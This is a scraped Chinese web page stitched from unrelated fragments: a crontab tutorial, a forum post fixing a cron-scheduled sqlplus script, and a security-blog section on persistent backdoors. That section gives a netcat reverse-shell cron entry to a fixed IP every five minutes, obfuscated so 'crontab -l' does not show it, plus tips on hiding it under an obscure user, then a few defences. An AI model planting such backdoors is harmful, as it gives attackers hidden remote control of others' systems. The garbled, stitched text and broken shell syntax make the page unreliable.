如何查看crontab定时执行mysql任务是否执行

以上由提供
当前位置:
> 详细页面
Linux执行定时任务时报错-bash:crontab:command怎么办?
时间: 11:01作者:qipeng
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
系统教程栏目
热门系统教程
在笔记本电脑早已普及到会议室的这个年代,商务人士拿笔记...
热门系统下载
最新系统教程
热门软件下载
Copyright&2011 系统之家(www.xitongzhijia.net) 版权所有 闽ICP备号-1
本站发布的系统与软件仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件!
如侵犯到您的权益,请及时通知我们,我们会及时处理。> crontab定时sqlplus出错今天打算用linux去定时select自己每天上班都要查的数据
crontab定时sqlplus出错今天打算用linux去定时select自己每天上班都要查的数据
lijiayi_1986 & &
发布时间: & &
浏览:80 & &
回复:0 & &
悬赏:0.0希赛币
crontab 定时sqlplus 出错
  今天打算用linux去定时select自己每天上班都要查的数据。但对于linux的定时任务一无所知,so,从零学起:
  Linux里面使用crontab命令来执行定时任务。
  1,查看当前有哪些定时任务
  crontab -l
  2,编写新的定时任务。在这里编辑任务的操作模式和 vi 一样。
  crontab -e,
  3,保存定时的结果
  例1:每天5:30执行ls命令,并把结果输出到/jp/test文件中
  30 5 * * * ls &/jp/test 2$>$1
  注:2$>$1 表示执行结果及错误信息。
  计划任务的格式共分为六段,前五段为时间设定段,第六段为所要执行的命令段,格式如下:mi hh dd mm dw command
  解释:
每小时的第几分钟执行该任务 ,取值范围 0~59
每天的第几个小时执行该任务 ,取值范围 0~23
每月的第几天执行该任务 ,取值范围 1~31
每年的第几个月执行该任务 ,取值范围 1~12
  dw   每周的第几天执行该任务 ,取值范围 0~6,0表示周日
  command
指定要执行的程序
  举例如下:
指定每小时的第5分钟执行一次ls命令
指定每天的 5:30 执行ls命令
  30   7
指定每月8号的7:30分执行ls命令
  30   5
指定每年的6月8日5:30执行ls命令
  30   6
指定每星期日的6:30执行ls命令 [ 注:0表示星期天,1表示星期1,以此类推,也可以用英文来表示,sun表示星期天,mon表示星期一等。 ]
  30   3
10,20   *
每月10号及20号的3:30执行ls命令 [注:“,”用来连接多个不连续的时段 ]
  25   8-11
ls    每天8-11点的第25分钟执行ls命令 [注:“-”用来连接连续的时段 ]
每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]
每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6:30执行一次ls命令。 ]
  简单的了解了crontab的用法后,开始建立第一个定时任务,脚本如下:
  cd /home/oracle
  . .bash_profile
  sqlplus userid/password@TNS_NAME $<$!
  select *
  结果报错:
  1, .bash_profile: file not found
  2, sqlplus :command not found
  第一个错误的解决方法是:使用source /home/oracle/.bash_profile,既然你找不到,我就给你个绝对路径。
  第二个错误的解决方式和第一个类似,也是使用绝对路径,但还是想不通。既然已经成功source 环境变量了,系统就应该可以成功找到sqlplus的路径了的。
  修改后的脚本是
  #!/bin/bash
  cd /home/oracle
  source /home/oracle/.bash_profile
  /home/oracle/oracle/product/11.2.0/client/bin/sqlplus userid/password@TNS_NAME $<$!
  select *
  总结:在脚本里面使用命令最好把命令的绝对路径加上
本问题标题:
本问题地址:
温馨提示:本问题已经关闭,不能解答。
暂无合适的专家
&&&&&&&&&&&&&&&
希赛网 版权所有 & &&&&增值电信业务经营许可证湘B2-利用crontab命令定时执行任务反弹shell后门
7个月前 (05-21)
作者:柠檬草出自安全盒子团队:blog:猪猪侠发的文章:1、基础知识当前用户的计划任务crontab -l
查看计划任务 -r 删除所有定时计划任务 -e
编辑计划任务任务的格式:分 时 天 月 年 用户 命令* * * * * root /home/oracle/test.sh 1&/home/oracle/log.txt &2、shell反弹nc版的shell反弹:(crontab -l;printf "*/5 * * * *
/bin/nc 192.168.1.153 8080 -e /bin/\rno crontab for1whoami0c\n")|crontab -利用输出信息,导致crontab -l分辨不出,每5分钟进行连接一次。xsser总结的一篇反弹shell的各种姿势:最好用一个不常见的用户执行,任务写入/var/spool/cron/$username只有在连接的时候才会发现tcp有大神给出了udp反弹的后门/cloudsec/brootkit/blob/master/ubd.sh测试的时候有个问题在里面,连接一次后退出,udp文件被改变,并不能再使用。3、防御:1、采用白名单,只允许某个帐号使用。
在 /etc/cron.allow
中设置2、每一项任务会被记录到/var/log/cron的日记文件中(测试的时候并没有....可能环境不同)3、crontab -e 编辑当前用户的任务,这时可以看到
用户的计划任务,所以在留后门,需要找一个不常
见的用户4、cron每分钟会去读取一次/etc/crontab/与/var/spool/cron里面的数据内容,所以要注意里面的数据
转载请注明来自 ,本文标题:
史上最帅高中生,噢不,史上最帅网络安全团队-安全盒子官方账号.
盒子币奖励计划已经开启,点击导航栏的“投稿”关注奖励详情。(11/09)广告投放,软文发布,安全服务,安全资讯等业务欢迎联系QQ:/22)安全盒子已于2015年7月正式改版,感谢您的支持!(07/15)
最热点击文章}

我要回帖

更多关于 crontab 定时执行php 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信